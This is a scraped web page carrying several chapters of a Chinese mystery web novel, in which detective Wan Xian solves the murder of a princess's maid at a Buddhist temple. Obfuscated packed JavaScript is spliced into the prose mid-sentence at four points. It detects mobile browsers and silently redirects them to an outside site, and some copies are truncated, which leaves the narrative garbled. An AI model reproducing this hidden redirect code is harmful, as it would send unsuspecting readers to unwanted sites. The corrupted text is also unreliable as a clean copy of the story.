万仙却等着她的“翻脸”。果不其然,琴瑶公主抱怨完,脸色一变,对着万仙和雾山角警告道:“不过,如果你们敢把我的秘事透露出去,我绝对派人取了你们的脑袋!” 那语气之狠厉,令雾山角都惊得差点后退一步。 万仙余光飘到雾山角变换的表情,嘴角不禁浮起笑意。 琴瑶公主这时眼神又是一变。她忽然问万仙:“你叫万仙?” 不等万仙收敛笑意回答,她又道:“你让我想起一位故人。” 万仙心里一紧。他不想追问,却又怕不问太不自然,只好道:“不知我让三公主想起了谁?” 琴瑶公主像是不敢确定似的顿了片刻,然后手一挥道:“没什么。你们还是先把杀了葡萄的凶手找出来再说吧。她服侍了我多年,如今又替我而死,我一定要为她讨回公道。” 雾山角已经习惯这位三公主的“阴晴不定”,连忙道:“是。” 万仙松了一口气,轻摇折扇,提醒道:“公主殿下,如今还不能确定葡萄姑娘是替您而死。” “什么意思?” “公主殿下来龙兴寺与青洲大人幽会是真,绘制游历图也是真吧?不然也不会大费周章,让‘异宝博多’出借千芳古琴。” “反正来都来了,我当然要让青洲大人为我绘制一幅游历图了!我本来准备绘制游历图时再差人清场,与葡萄换回装扮的……哎……” 琴瑶公主还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208568|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哀叹,万仙却问道:“那么来龙兴寺取景,是谁提议的?” 万仙轻巧的一问,令琴瑶公主一愣。 “是葡萄……”她看着倒地的尸体,回忆道,“是葡萄说凌洛城里有座龙兴寺,寺中景色怡人,适合与青洲大人幽会。而且寺中佛塔宏伟独特,在此绘制游历图,定能胜过大公主的《琴满沧州》……” “咳咳。”侍卫山竹赶紧咳嗽,提醒三公主怎么把与大公主的较劲也说出来了。 但是琴瑶公主一副无所谓的模样。 万仙又问道:“葡萄姑娘恐怕一直在宫中服侍公主吧?她怎会知道这里有座龙兴寺?” “她虽在宫中贴身服侍我,但偶尔会与家人传递书信。恐怕她是在家书中得知了此地。”琴瑶公主面露恍然之色道,“你是说,她是故意将我引到龙兴寺的?她贴身服侍我,不能告假外出,可是她有想见之人在龙兴寺,所以在我耳边吹耳旁风,将我‘吹’到了此地?” 万仙一边颔首,一边走到门口,检查起木制的门闩。 然后他道:“这门上的门闩并未破坏,应该是葡萄姑娘自己从里打开了它。她知道公主殿下昨夜要与青洲大人幽会,或许告知了她想见的那个人在这客寮里见面……” “然而,在这过程里,二人发生了口角。那人就将葡萄姑娘给杀害了!”雾山角接话道。 琴瑶公主还在震惊之中,万仙却已将脸转了个方向,对准了山竹。 “昨夜,你一直守在这客寮外,对吧?但是屋内发生了这么大的事,你为何什么也没有察觉?” 山竹早上这一番闹腾,就是为了让别人不注意到他的失职。他本以为自己糊弄过去了,谁料万仙居然来了个回马枪。 想来,无论如何,他都逃不开这样的质问。他只好投降,跪在琴瑶公主面前道:“公主殿下,是下官失职!昨夜……昨夜我见公主殿下去了青洲大人的房内,我就想小眯一下。于是我就靠在这客寮门口的柱子上睡着了。或许是近日太奔波劳累,我竟一睡睡到了天亮,这才让葡萄命丧于此。” “你平日里也是这般松懈吗?”万仙道。 结果回答他的并不是山竹,而是琴瑶公主。她护犊子似的嚷道:“若他是容易松懈之人,我怎会留他在我身旁?” “那么葡萄姑娘应该也不会猜到,山竹会在门外睡着吧?” “万仙兄,你的意思是……”雾山角道,“葡萄姑娘若要与想见之人在客寮里会面,就必须要先‘解决’在门外佯装守着公主的山竹?” 万仙点点头。 山竹眼睛瞬间亮了起来,他激动道:“说来也是,我再怎么贪睡,也不至于有人打开客寮房门,我却毫无察觉!” “难道昨晚有人在你的饭菜里下了迷药,才让你如此犯困,昏睡不醒?”雾山角问。 山竹却皱眉道:“可是昨晚的饭菜,我是跟假扮侍女的公主一道吃的……公主殿下,您昨夜可曾犯困?” “好不容易能跟青洲大人共度良宵,谁敢让我犯困,我定派人取了他的脑袋!” 万仙:“……” 雾山角:“……” 山竹更是手足无措,虚弱地“咳咳咳”了半天。 但情况已经明了。昨夜山竹昏睡,并不是因为慈航和圆尘送来的饭菜。那么会是因为什么? 忽然,万仙皱了皱鼻子,推开客寮的房门,向外张望。 众人跟着他向外投去目光,只见客寮不远处,摆放着几个香炉,香炉上的香均已燃尽,只剩下细小的竹签,密密麻麻地插在厚厚的香灰上。 “若迷药不是通过口服进入身体,那么它就是通过鼻腔吸入体内的。”万仙指着那香炉上的竹签,对雾山角道,“雾山兄,劳烦你带人查一查,昨夜的香是谁插的。同时查一查这寺院里,谁有特制的、能让人昏睡的香!” “没问题!”话音刚落,雾山角便急匆匆地奔出门去…… 51.第五案:佛寺杀04 在客寮内,葡萄姑娘的遗体已被移走。然而,那弥漫在房间中的阴森气息,却似乎并未随之消散。 此刻,真正的琴瑶公主端坐在雕花木椅之上,万仙、雾山角和侍卫山竹一同立于她的身侧。 他们面前,是被差役束缚住的凌缘法师。 雾山角带差役查封了龙兴寺,然后逐一询问寺中僧人,是否看到昨日谁在客寮之外的香炉上插香。为他们提供有用线索的,是慈航。他说昨日傍晚为公主送完饭后,他以为自己的东西落在了院子里,就折回来寻找,恰巧看到了凌缘师兄在插香。 于是雾山角带人闯进了凌缘的居所,在他收藏佛经的柜子中,找到了一批特制的迷香。 它们与普通的香略有不同,颜色微微泛成赤红。几个差役特意将它点燃,发现它青烟缥缈,香气清雅,却令人哈欠连天。 毋庸置疑,这便是万仙托雾山角要找的东西。 于是凌缘就被绑到了万仙和雾山角面前,在公主眼皮底下接受审问。 “你这和尚,为何企图谋害本公主?”琴瑶公主颇为愤怒地指责凌缘道。 跪着的凌缘浑身一抖,急忙道:“公主殿下,人不是我杀的……” “人证物证俱在,还想抵赖?”山竹将从他房中搜出的那把香,丢到了他面前。 凌缘盯着撒了一地的香,喉咙发紧,不自觉地吞起口水。 于是山竹又追问道:“你得知三公主要来,是不是早就计划好要谋害她?所以才会特地准备这种能让人昏睡的迷香!” “不是的,大人们!”凌缘紧张道,“我备着这些香,是因为我时常睡不好觉,所以特地让城中的医师为我调制了这种催眠香。昨夜,的确是我把他们插到香炉上的,但是……人真不是我杀的。” “你别告诉我,你只是不小心插错了香。它们可是与普通的香颜色不同!”“我的确是故意插上这种香的。”凌缘承认道。 山竹怒道:“为了让我昏睡?” 凌缘默认。 山竹又嚷道:“那你还说人不是你杀的?” “但我只是为了与阿梧……就是你们口中的葡萄姑娘会面。我并没有杀人!” “你和葡萄早就认识?”琴瑶公主问道。 凌缘点了点头。 琴瑶公主瞥了一眼身旁的万仙,暗忖:没想到了还真被这家伙给猜中了。续儿,她又道:“你是否与葡萄……就是你口中的阿梧有龃龉,所以趁着她来龙兴寺,愤而杀了她?” “公主殿下,我没有杀阿梧。若我早就计划好要杀她,绝不会让慈航看到我插香。那时,我想让侍卫昏睡一晚,然后我进屋同阿梧见上一面,叙叙旧而已。第二天,什么事也不会发生,侍卫应该也不会察觉到自己是被人设计睡着的。所以即便我发现慈航看到了我插香,我也没有做其他补救的措施。因为我真的从未想过,阿梧会死在这里。” 琴瑶公主瞄了一眼雾山角,对凌缘道:“也许你并非计划好要杀阿梧,而是昨夜你们叙旧之时,发生了口角,你一时冲动,将她杀害。” “昨夜我的确与她发生了一点口角,但是绝没有动取她性命的念想!阿弥陀佛!”凌缘急急地舔了舔嘴唇。 万仙冲他露出一个抚慰的笑容,道:“那你能否告诉我们,你和阿梧是如何认识的?昨夜,你们又为何在客寮里发生了口角?” 凌缘转头看了一眼紧闭的大门。他知道,大门之外,是焦急等待着的知空住持和他的师兄弟们。 他在心里狠狠地叹了口气,道:“都怪我,都怪我曾误入歧途……都怪我最后还负了阿梧。” 凌缘时常夜不能寐,是因为他闭上眼,总是能听到记忆里那些女人小孩的哭声。他无法理解自己年轻时为何如此残忍且愚蠢,竟然跟随所谓的“大哥”,干起绑架妇女儿童,贩卖人口的勾当。 他们埋伏在山野或小巷,逮准时机,快速行动,将受害者拖进灰暗的人生。 这些女人孩童,总是会噙满恐惧的泪水,乞求地望着他们,希望他们高抬贵手,放他们一条生路。可他们是货品,货品必须得等到买家。 好货色,买家给出的是沉甸甸的金子。烂货色,他们这些绑匪收到的只会是碎银。 阿梧被绑来时,大哥定眼一瞧,就将她盖了“好货色”的章。 “不必急着出手,吊着想买的买家,待抬到足够好的价钱再说。”大哥把阿梧推到凌缘面前,命令道,“你给我好好看住了她。” 凌缘点点头,抬眼向阿梧望去,突然心里一紧。 他见过太多可怜的女人孩童,却从未有人像她那么楚楚可怜。后来,他想,那是因为阿梧是他当时见过最楚楚动人的女子。所以她悲伤流泪时,他感到心痛;她害怕发抖时,他心生怜惜;她绝望到失神时,他竟也想给她一个拥抱。 他想用这些年攒下的钱,问大哥买下阿梧。可是那些钱不够,远远不够。大哥想要抬到的价格,哪是他无名小卒能攒出来的? 那么,他只能束手无策地看着阿梧被那些可恶的富商买走凌辱吗? 日子拖得越久,凌缘越是着急。被吊足了胃口的买家们,三番四次来营寨里察看阿梧这个货品。终有一天,他们其中一个人会开出大哥想要的价格。 不能再等下去了。被带到买家们面前,接受审视的阿梧也已经害怕得好几天吃不下饭。 真的不能再等下去了!凌缘看着阿梧那如鹿般纯净的眼睛,终于下决心要放走她。 可是他们营寨所在的地方,并不是阿梧的家乡,她的家乡离这里有百余里路,单单放她走,她能一个人流浪回去吗? 看着羸弱的阿梧,凌缘思来想去,又做出了一个决定。反正放跑了她,大哥也不会放过他。他不如和阿梧一起走,将她护送回家。 明明习惯了把人视为商品,却因为对一个女人心生爱怜,就轻而易举放弃了自己原有的人生?你真是傻得不能再傻!凌缘暗骂自己。可他又不得不承认,他不仅迷恋阿梧,更迷恋上这种人生难得的想要豁出去的感觉。 “我送你回家。”他如同神明,赐予阿梧希望。 他瞧见阿梧眼睛里重新燃起希望的光,他便笑了起来。 他紧紧握住了她的手,而她也紧紧反握住了他的手。 “如今回想起来,护送阿梧回去的百余里路,真的好长,又好短。那是我们相依为命的日子。我喜欢她,而她似乎也渐渐依赖上了我,喜欢上了我。”凌缘回忆着过往,轻描淡写地带过了属于他们的美好时光,然后道,“但这一路,终有尽头。我们最终还是回到了阿梧的家乡。阿梧本是要带我回家的,可是我在她家门前却却步了。我干过那么多伤天害理的事,怎么还可以获得幸福和平静的生活?所以最后,我把阿梧送到她家门口,然后逃走了。” 凌缘说,那时他的心情无比复杂。他一边为无法继续和阿梧待在一起而伤心,一边又为自己能护送她平安归家而愉悦。 “我干了一件好事。我终于干了一件好事。”他漫无目的地行走,脚步越来越轻盈。 然后,他路过了龙兴寺。本来他只是想在此歇脚,可是大雄宝殿供桌上的贡品,惹得他肚子咕咕叫唤。 离开了营寨,护送阿梧归家,他已经花掉了攒的所有钱财。如今,身无分文,居无定所的他早已饥肠辘辘了。他想偷点贡品吃。可是身边还有前来拜佛的民众,他不敢轻易下手,只能等待。 在等待地过程里,他学着众人,跪拜起佛祖。 在巨大的佛像面前,他双手合十,闭上眼睛。忽然,他听到了屋檐的风铃声,听到了僧人低沉的诵经声,听到了不止何处发出的铜锣声。明明那么多声音,他却感觉自己身处在一片祥和的寂静里。 然后他听到了自己的声音。 他几乎是颤抖地意识到,原来他并不喜欢跟着大哥混,原来他一直想要做一个好人。 那一刻,那些女人孩童眼中噙着的泪,汇聚在一起,涌进了他的眼眶。 他睁开眼,在泪眼婆娑中,看到知空住持站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213294|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他面前。 “年轻人,饿了吧?”他不知为何看穿了他,拾起了供桌上的苹果,递到了他面前。 “这是贡品……佛祖不会介意吗?”凌缘声音沙哑地问。 知空住持笑道:“佛祖乐意之至。” “那一刻,我动了留在龙兴寺的心。”凌缘忽然嗤笑道,“我知道大哥即使要追杀我,也绝对不会在寺庙里动手。因为我们这种恶人,最爱拜,最敬畏的也是佛祖。所以我有很多理由,留在这里。不过我花了很长时间才决定剃发为僧。因为我曾一直留恋阿梧。” 留宿龙兴寺期间,他给阿梧写过信,但回信的却是阿梧的阿姐。阿姐告诉凌缘,她听阿梧提起过被绑架的经历,也知道凌缘这个人。但如今,阿梧已被她们的父亲送进宫当了宫女,希望他勿挂念。 听到阿梧的消息,凌缘心里不知为何空荡荡的。他想,或许他们的缘分到此结束了。于是,他决定剃发为僧,成为一个真正的好人,为自己的过往赎罪。 然而就在烫完戒疤的那天,他又收到了阿梧阿姐的信。原来,阿姐把凌缘的事,写信告诉了宫中的阿梧。阿梧回信,希望阿姐能把她在宫中的生活,分享给凌缘。 就这样,他们以阿姐为介,重新联络上了。 他们的联络并不频繁,一年拢共才一两次。但至少,他们能知道彼此身在何处,过得如何。 随着日子过去,曾经浓烈的爱意,在凌缘心中渐渐消散。他开始把阿梧当成一位远方的故友亲朋,而非爱人。然而阿梧却会错了凌缘的意。枯燥的宫廷生活,让她把远方的凌缘当成了唯一的寄托。 她在三公主耳旁时常提起龙兴寺,引导三公主去那边与墨青洲幽会、绘制游历图。然后,她终于有机会,能跟日思夜想的凌缘再见面了。 当阿梧以三公主的身份从马车上下来的时候,凌缘惊呆了。他不知道为什么宫女阿梧会变成公主,眼睛不自觉地频频打量她。 阿梧却憋着笑,在他送她去客寮的时候,偷偷给他塞了早就准备好的纸条。她知道真正的三公主晚上要与墨青洲幽会,不会在客寮内,所以她约凌缘在此叙旧。只不过,凌缘得想办法支开门口的侍卫。 凌缘不知道阿梧想要对自己说什么,思来想去,还是决定去赴约。于是他用催眠的香令侍卫昏睡,然后敲开了客寮的房门。 “我没想到,阿梧会让我带她私奔,就像当年我带她离开营寨一样。”凌缘后悔道,“她说她快对我思念成疾……如今好不容易能出宫相见,她不想再回去了。我这才知道,自己犯了错。我不应该与她通信,让她会错了意。我已皈依佛门,怎能再想着男欢女爱?再者,知空住持已经决定将住持之位传授于我,我又怎能负了他的期许,撒手逃跑?” “于是你们就争吵起来?于是你就杀了她?!”琴瑶公主冷冷道。 “没有!我佛慈悲,怎可杀生?”凌缘激动道,“阿梧确实压低声音,与我争吵了几句。可我告诉她,我心意已决,绝不会更改,她终于放过了我,任由我离开了这客寮。我的确辜负了阿梧,令她伤心难过,可我绝对没有杀了她!若我真冲动杀了她,我早就会猜到,你们会来我房间搜迷香,我又怎会不趁夜色将它们销毁呢?” 闻言,琴瑶公主转过头,冲万仙和雾山角撇了撇嘴:“你们说呢?” 一直打量凌缘的万仙收起了折扇。他不觉得凌缘这番说辞是在表演,他更倾向于相信凌缘所说的话。 可他刚要开口,却又听琴瑶公主道:“这和尚的话是有几分道理。但他昨夜进入了客寮,就仍是最值得怀疑之人。毕竟,如果他因一时冲动而犯下杀人罪行,在慌乱之中,他也很可能会忘记处理迷香。” “公主殿下……我真没有杀人!”百口莫辩的凌缘嚷道。 琴瑶公主苦恼地咬了咬嘴唇,手一挥道:“无论如何,先把他带下去关起来吧。” 侍卫得令,一把拽起了跪在地上的凌缘。 凌缘不再挣扎。因为他知道,无理是权贵的专利。 52.第五案:佛寺杀05 侍卫山竹将凌缘关进了柴房后,回到了客寮。看着扶着额,闭目养息的琴瑶公主,他犹豫了良久,才道:“公主殿下,万一凌缘真不是凶手呢?” “那你的意思是,真有人把葡萄当成了本公主?那人要杀的其实是我?”琴瑶公主睁开眼,怒道,“你说说看,我到底有什么好让人记恨的?” 她的话让山竹吓得跪倒在地。 万仙无奈地叹了口气。他知道,琴瑶公主被宠爱惯了,所以她觉得世人都应爱她敬她,可现在,有人居然对她有如此大的敌意,这令她不敢相信,也不想相信。再者,她刚刚听说随身服侍她的葡萄居然想要跟人私奔,这更是让她伤心难过。所以她现在才如此气急败坏。 万仙知道她发完脾气,过一会儿便会冷静下来,所以并未急着替山竹打圆场。 沉默横亘在客寮内。 许久之后,万仙才道:“公主殿下,我们确实还是得考虑,这龙兴寺里有人对你抱有敌意。” 雾山角生怕万仙再惹公主生气,赶紧躬身道:“是的,公主殿下,我们还是谨慎点为好。下官这就去城中安排一间安全的居所……” 然而,琴瑶公主未等他说完,就打断了他的话:“不用了。我就要住在这里!我倒要看看,那凶手发现杀错了人,会不会再次下手!” “公主,这位大人说的没错,我们还是谨慎点为好。您不要以身涉险啊……”山竹赶紧规劝道。 琴瑶公主却耻笑道:“我才不会傻乎乎地在客寮里等着凶手上门呢!今晚我会去青洲大人那里……”忽然她转向万仙,狡黠道,“你这万仙长得倒是精致。今晚就由你来扮演本公主,引诱出凶手吧。” 万仙:“……” 雾山角也瞠目结舌。 琴瑶公主却玩心大起似的指挥道:“你们去把消息散布出去,就说我们逮到的凌缘是真凶。本公主将继续在寺里小住,绘制游历图。而侍卫因为迷香头晕难忍,要在屋中歇息。这样应该能让凶手放下戒心吧?”她顿了顿,“如果真有这么一个要杀我的凶手的话。” 说罢,她兴师动众地让寺里的僧人帮她换了一间客寮,然后招来万仙,与他换装。不仅如此,她还要亲自动手,为他涂脂抹粉,画眉描唇。她对此事颇为上心,仔细观察万仙的面容,然后极其细致地描绘每一笔。 雾山角总觉得三公主并不是真的相信,他们能以此引出真凶。她更像是用引出真凶这个理由,来调戏、为难万仙。 不过万仙似乎已经习惯了她的脾性,竟笑眯眯地任由她在他的脸上折腾。 一番打扮下来,万仙竟真变成了一位朱唇皓齿的翩翩少女。 雾山角和山竹皆忍俊不禁,唯有琴瑶公主自得意满。 “万仙公子,今晚就靠你咯。” 万仙已经顺理成章地接受了新身份,双手一抱,故意道:“本公主乏了,你们都给我出去!” 忍俊不禁者也都笑出声来。 琴瑶公主知道他在学自己,却也不恼,“嘿”了一声道:“你这万仙倒是有趣。” 雾山角心却想,平日里,万仙倒不会如此不正经。真应该让王博多也来看看,他的仙儿哥今天这副疯癫的模样。 折腾了一天,夜色终于降临。 万仙躺在宽大的木床上,闭目养神。但屋中并非只有他一人。黑暗之中,雾山角持剑而立,隐在床旁。 如此昏暗的夜色,即使凶手来了,也瞧不清床上之人的模样。他不懂为什么琴瑶公主非要为万仙化这么久的妆。再者,睡觉时脸上仍留着胭脂,也实属不正常。不过既然琴瑶公主这样安排了,万仙也没有异议,雾山角也不好多说什么。 他静静等候在黑暗中。时间越久,他越心生怀疑。若真有要对公主下毒手的凶手,他在发现杀错人后,真会再次行凶吗?他得有多大的恨意,才会铤而走险,再次前来呢? 越想,雾山角越觉得今晚的守株待兔将是一场空。 然而雾山角这次又想错了。 当屋外只剩下夜枭的啼叫时,客寮的房门被轻轻地推开。有人潜入了进来! 那人的身影在昏暗中宛如一团灰色的雾气,幽灵般地在屋内移动。他的脚步声压得极低,像是靠近猎物的豹,小心翼翼。终于,他行至床前,从怀里掏出一把刀就要朝床上的人刺下。 “啪。”一枚火折子在黑夜里被点燃。 那进屋的人的脸瞬间被照亮。 “啊——”他吓了一跳,布满皱纹的脸庞忍不住抽搐了一下,握着刀的手也不自觉地松开。 “啪嗒。”小刀落地,那人也颤抖地往后退了一步。 床上的万仙差点睡着,听到声响,终于睁开眼来。他起身,瞧见被雾山角逮个正着的,正是龙兴寺的知空住持。 “是你要杀三公主?是你害死了她的侍女葡萄?”雾山角不可置信地看着今晚前来刺杀的知空住持。 知空住持盯着地上的小刀,垂下了肩膀,承认道:“是我杀了葡萄姑娘。” “你为什么要杀她?”万仙问道。 但知空住持没立刻回答他,而是看着他脸上的妆容,惊讶道:“你是……万仙公子?看来,今晚是专为我设下的陷阱啊。” “别给废话,快说,你为什么杀了葡萄姑娘?”雾山角冷声道。 “因为她要让凌缘带她私奔!” “昨天晚上,你听到他们谈话了?” 知空住持点点头,道:“近日我已决定将龙兴寺的住持之位传给凌缘,于是就对他的一举一动更加留心。凌缘做事向来让我放心。但是昨日公主前来,他却似乎乱了手脚,竟连我交给他介绍寺院情况的差事也差点忘了。于是我就留了个心眼。结果我发现,他居然用香迷晕侍卫,偷偷前去客寮与公主会面。一个是小城寺庙里的和尚,一个是高高在上的三公主,我真不知道他们为何会有交集。直到我在门外偷听到,原来那晚在客寮里的是假公主。而这位假公主,居然要凌缘带她私奔!凌缘拒绝,她还同他吵了起来。虽然最后凌缘离开了,但是我担心……我担心……” “你担心自己好不容易培养出来接班的徒弟,后续仍会被这个女人缠上?”雾山角接他的话道。 知空住持嗤笑道:“她费尽心思来到龙兴寺,想必对凌缘的执念颇深。凌缘此番拒绝她,实属危险。谁能保证她能轻易放弃他?若她心生怨念,想要报复凌缘呢?她只要传出去一些流言,就能毁掉凌缘,甚至毁掉我们龙兴寺!” “就因为担心这个,你就杀了她?”雾山角不解,“你一个出家人,居然如此歹毒?!” “为了龙兴寺,为了徒弟,我可以不见佛祖,见阎王。” “好一个不见佛祖,见阎王!”万仙盘腿坐在床上,饶有兴致地看着知空住持,“听你这么说,你要杀的目标就是葡萄姑娘。那今夜你又为何来行刺三公主呢?” 知空住持低头不语。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“他知道今晚的客寮是个陷阱。但即便如此,他也要跳进来,因为他想要为他心爱的徒弟顶罪。”万仙猜测道,“凌缘虽已坦白自己昨夜与葡萄姑娘私会,也坚称自己绝没有杀害他,但是他没有确凿的证据为自己脱罪。三公主也决定先将他关押起来。而且为了今晚这个陷阱,公主还早早宣称真凶就是凌缘,这恐怕令知空住持焦心万分吧?万一凌缘真被判罪,那么他这些年的辛苦培养,就付之东流了。于是他想,自己反正行将就木,不如就来帮徒儿渡过这次的难关。” 知空住持张了张嘴,说不出一句辩驳的话。因为万仙正猜中了他的心思。 “那么,你昨夜真的有偷听到凌缘跟葡萄姑娘的对话吗?”雾山角问知空住持。 知空住持叹了口气,摇了摇头:“我昨日虽感觉到凌缘不对劲,但并未多想,夜里也早早睡去,没有去过事发的客寮。” “所以凌缘和葡萄姑娘的事,是白天我们在屋内审讯时,你在门外偷听到的?” “是的。”知空住持想起被扣押起来的凌缘,忍不住道:“小师爷,万仙公子,请你们一定要跟三公主说,凌缘是不会杀人的!我自己教了多年的徒弟,我知道他的心性。虽然他曾误入歧途,可是他已经改邪归正,皈依我佛了。他绝对不可能破戒杀人的!求求你们救救他!” “如果他真是冤枉的,我们当然会救他。”雾山角道。 “怎么救?” “当然是抓到真正的凶手!”雾山角信誓旦旦道。 知空住持跪倒在雾山角和万仙面前,恳求道:“那就有劳二位了!” 53.第五案:佛寺杀06 知空住持的刺杀事件不过是一场闹剧。他甘愿接受拘捕,听从发落。但雾山角担心在此时逮捕知空住持,可能会导致龙兴寺陷入更深的混乱之中,因此决定暂且放他回去,待当前案件解决,三公主离开后再行处置。 万仙则洗去了脸上的妆容,换回了自己的着装。不知是不是因为洗了把脸的缘故,万仙再也睡不着。他推门出去,拐过寺庙的回廊,抵达王博多被关押的客寮。屋里传来王博多的呼噜声。 “亏你小子还睡得着。”他翕动双唇,轻声骂完,不禁扬了扬嘴角。然后,万仙扇着扇子,迈开脚步,漫无目的地在寺院里闲逛,希望深夜凉爽的风能够吹散繁杂的思绪。 直到迎着风拐过一座佛殿的拐角,万仙放慢了脚步。 看到早起的僧人已经打扫起了院子,他才意识到,一夜就要过去了。但彼时,月亮还未落下。那圆月散发皎洁的光芒,如明镜悬于九霄,引得万仙忍不住抬头欣赏。 不远处,拿着扫帚的和尚圆尘,快速地扫完面前的地,奔到一丝不苟打扫着的慈航面前,道:“慈航师兄,你最擅长测算天象了,你说今天会是好天气吗?” 慈航闻言,抬起头,目光投向天空那轮明月。 “恐怕今日要下雨。”许久,他回答道。 “啊?我看这月亮那么亮,还以为今日会是个好天气呢。”圆尘道。 “测算天象可不能只看月亮。”慈航继续仰着头道,“不过今日的月亮真是美啊。可惜……” “可惜什么?” “可惜明月高悬不独照我。”他忽然哀叹道。随后,慈航快速地扫走脸上的落寞,收回了眺望的目光,对圆尘道:“圆尘呀,你那边的地都没扫干净呢。” “反正马上要下雨,不是吗?扫了也白扫啊!” “话不是这样说的!”慈航拾起扫帚,作势要打他。 圆尘悻悻然道:“我这就去扫,我这就去扫!” 万仙把目光从两人身上转开,再抬头看了一眼天空。的确,乌云已经飘了过来,将刚刚还清澈的圆月遮掩得若隐若现。 慈航测算得没错,今日是要下雨的。 昨日因为命案,龙兴寺一片混乱,三公主并未让墨青洲为她作画。结果今日又下了雨,恐怕公主的游历图又要泡汤了。毕竟,三公主最讨厌的就是雨天。她甚至从来不让自己的双脚沾惹一丁点雨水,更别说要在雨中绘制游历图了。 也不知道这场雨,会不会让她放弃原有的计划。 万仙的思绪飘荡起来,困意也渐渐从脚底蹿到了眼帘。他打了个哈欠,回屋歇息。 万仙的双脚刚迈进门,天空就下起了雨来。淅淅沥沥的雨,把龙兴寺笼罩在一片朦胧之中,湿哒哒的一天开始了。 万仙后来是被侍卫山竹叫醒的。 他受公主之命,来询问昨夜的陷阱是否逮到了“兔子”。万仙犹豫了片刻,还是决定撒个谎,说昨夜无事发生,不然三公主非得逮住知空住持又闹上个半天。 侍卫山竹得到他的答复,脸上虽然闪过一丝怀疑,但最终并未追问下去。 这时,万仙揉着惺忪的睡眼问他:“今日下雨,公主殿下恐怕不会想要绘制游历图吧?” “自然。公主她最烦的就是湿哒哒的天气。”山竹瞄了一眼万仙,知道他想问什么,便道:“你是不是想问,她有没有想要离开龙兴寺?”说着,他忍不住笑了,“我看万仙公子还是不懂咱三公主的脾性。她可完全没有想要离开龙兴寺。既然她早就决定好带游历图回去,便绝不会轻易放弃。而且现在,她还想要抓住杀害葡萄的凶手,就更不可能这么轻易离开了。所以万仙公子和小师爷可要分外努力了。” “那公主殿下现在在干什么?” “万仙公子有事吗?”山竹道,“公主她正在睡回笼觉,你可不能随意去打搅。” “没什么。”万仙摇了摇头。 “那我就不打扰万仙公子了。”山竹留下这句话,推开客寮的门,扬长而去。 万仙瞥见屋外的雨暂时停了,便走出房门,伸了个懒腰。雾山角不见踪影,怕是趁他不叫,又独自去查案了。 想着,万仙又来到关押王博多的客寮。 “仙儿哥,是你吗?”没想到王博多竟有预感似的,隔着门问道。 “你一切都好吗?” “仙儿哥不用担心,小师爷今早给我送来斋饭时说,你们一定会救我出去的,他让我不用着急。”王博多道,“不过我也真是惨。那侍卫自己没守好人,便以凶器琴弦污蔑我。正常人用脚趾头都能想到,我要是杀人,才不会用自己带来的物件呢。而且古琴琴弦呢,多麻烦啊。” 万仙低声呢喃:“是啊,多麻烦啊……” 王博多没听清门外的话,嚷道:“仙儿哥,你说什么?” 万仙没有回答他的话,而是嘱咐他先好好在这客寮里待着,权当休养生息了。 王博多答应下来,两人再闲聊了一会儿,万仙就离开了客寮。他想去找雾山角,结果却在墨青洲的客寮门外,看到了慈航的身影。 慈航一只手捏着一本册页,一只手紧张地扣响了墨青洲的房门。 琴瑶公主大概去了别屋歇息,所以墨青洲很快就打开了大门。 “小师父,有何事?”墨青洲困惑地拧眉。 “阿弥陀佛,青洲大人,贫僧法号慈航。”慈航露出不好意思的笑,道,“我虽从小出家,却对丹青之学颇为痴迷。曾随师父进京论道时,瞧见过青洲大人的画作,分外喜欢……尤其是《春景论道图》中描绘的人物之栩栩如生,让人叹为观止……” 他滔滔不绝地说着自己的喜欢,令墨青洲眉头舒展地笑了起来。 “小师父,你再这样说下去,鄙人都要不好意思了。”墨青洲颇为亲切地道,“你有何事,尽管说吧。” 慈航喜出望外,道:“我也是被师弟怂恿,才鼓起勇气想来求青洲大人帮个忙。龙兴寺最壮美的便是那千佛塔。我第一次入寺时就被这巧夺天工的建筑深深吸引,直至今日。在学习丹青之术的过程里,我也开始临摹塔上那些佛像。但是有一尊佛像,我怎么在草纸上临摹,都无法撷取它半分神韵。此次能在寺中遇见青洲大人,机会难得,不知能否恳请大人指点一二?”他诚惶诚恐的模样,与面对圆尘时全然不同。 墨青洲没有急着回答他,而是拿过了他手中的册页,打开来。 万仙一副凑热闹的模样,凑近道:“原来小师父有这等才能啊。” 墨青洲瞥了一眼万仙,不由微微一愣:“万仙公子。” “青洲大人,可否让我也瞧一瞧?” 墨青洲不知为何皱了皱眉头,但语气仍是和善:“当然可以。” 既然墨青洲发话,慈航也没有拒绝的道理。他任由万仙也低头看起自己的册页。 这册页一看就是自己装裱的,第一幅描绘着千佛塔的全貌,之后几幅描绘着千佛塔上的每一尊佛像。谁也不知那放置在高层的佛像,慈航是如何临摹下来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 